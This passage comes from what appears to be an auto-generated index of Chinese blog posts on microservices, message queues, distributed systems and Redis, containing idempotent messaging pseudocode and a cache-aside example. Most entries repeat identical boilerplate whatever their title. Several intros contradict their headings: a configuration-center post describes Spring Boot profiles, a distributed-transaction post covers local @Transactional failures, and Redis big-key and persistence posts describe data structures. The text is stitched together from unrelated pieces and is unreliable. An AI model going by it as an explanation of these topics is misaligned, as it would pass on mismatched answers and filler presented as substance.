class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>服务注册发现的基本流程</title>
      <link href="//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/"/>
      <url>//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="服务注册发现的基本流程"><a href="#服务注册发现的基本流程" class="headerlink" title="服务注册发现的基本流程"></a>服务注册发现的基本流程</h1><p>服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置中心解决了什么问题</title>
      <link href="//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/"/>
      <url>//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="配置中心解决了什么问题"><a href="#配置中心解决了什么问题" class="headerlink" title="配置中心解决了什么问题"></a>配置中心解决了什么问题</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>限流熔断降级的区别和落地</title>
      <link href="//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/"/>
      <url>//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/</url>
      
        <content type="html"><![CDATA[<h1 id="限流熔断降级的区别和落地"><a href="#限流熔断降级的区别和落地" class="headerlink" title="限流熔断降级的区别和落地"></a>限流熔断降级的区别和落地</h1><p>限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>限流：控制入口流量，保护系统不被压垮</p></li><li><p>熔断：快速失败，防止级联故障</p></li><li><p>降级：牺牲非核心功能，保障核心服务</p></li><li><p>常用的限流算法：令牌桶、漏桶、滑动窗口</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式事务为什么难</title>
      <link href="//fen-bu-shi-shi-wu-wei-shi-me-nan/"/>
      <url>//fen-bu-shi-shi-wu-wei-shi-me-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式事务为什么难"><a href="#分布式事务为什么难" class="headerlink" title="分布式事务为什么难"></a>分布式事务为什么难</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口幂等性设计从业务开始</title>
      <link href="//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/"/>
      <url>//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="接口幂等性设计从业务开始"><a href="#接口幂等性设计从业务开始" class="headerlink" title="接口幂等性设计从业务开始"></a>接口幂等性设计从业务开始</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式 ID 生成方案怎么选</title>
      <link href="//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/"/>
      <url>//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式-ID-生成方案怎么选"><a href="#分布式-ID-生成方案怎么选" class="headerlink" title="分布式 ID 生成方案怎么选"></a>分布式 ID 生成方案怎么选</h1><p>分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>延迟队列的业务场景和实现思路</title>
      <link href="//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/"/>
      <url>//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="延迟队列的业务场景和实现思路"><a href="#延迟队列的业务场景和实现思路" class="headerlink" title="延迟队列的业务场景和实现思路"></a>延迟队列的业务场景和实现思路</h1><p>延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息丢失问题从生产到消费排查</title>
      <link href="//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/"/>
      <url>//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="消息丢失问题从生产到消费排查"><a href="#消息丢失问题从生产到消费排查" class="headerlink" title="消息丢失问题从生产到消费排查"></a>消息丢失问题从生产到消费排查</h1><p>消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息重复消费如何保证幂等</title>
      <link href="//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/"/>
      <url>//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/</url>
      
        <content type="html"><![CDATA[<h1 id="消息重复消费如何保证幂等"><a href="#消息重复消费如何保证幂等" class="headerlink" title="消息重复消费如何保证幂等"></a>消息重复消费如何保证幂等</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息队列为什么能削峰填谷</title>
      <link href="//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/"/>
      <url>//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/</url>
      
        <content type="html"><![CDATA[<h1 id="消息队列为什么能削峰填谷"><a href="#消息队列为什么能削峰填谷" class="headerlink" title="消息队列为什么能削峰填谷"></a>消息队列为什么能削峰填谷</h1><p>消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>消息队列的核心价值：异步处理、解耦、削峰填谷</p></li><li><p>常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别</p></li><li><p>消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认</p></li><li><p>消息重复消费的处理：幂等性设计</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。</p>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 大 key 和热 key 排查</title>
      <link href="//redis-da-key-he-re-key-pai-cha/"/>
      <url>//redis-da-key-he-re-key-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-大-key-和热-key-排查"><a href="#Redis-大-key-和热-key-排查" class="headerlink" title="Redis 大 key 和热 key 排查"></a>Redis 大 key 和热 key 排查</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 持久化 RDB 和 AOF 怎么选</title>
      <link href="//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/"/>
      <url>//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-持久化-RDB-和-AOF-怎么选"><a href="#Redis-持久化-RDB-和-AOF-怎么选" class="headerlink" title="Redis 持久化 RDB 和 AOF 怎么选"></a>Redis 持久化 RDB 和 AOF 怎么选</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" 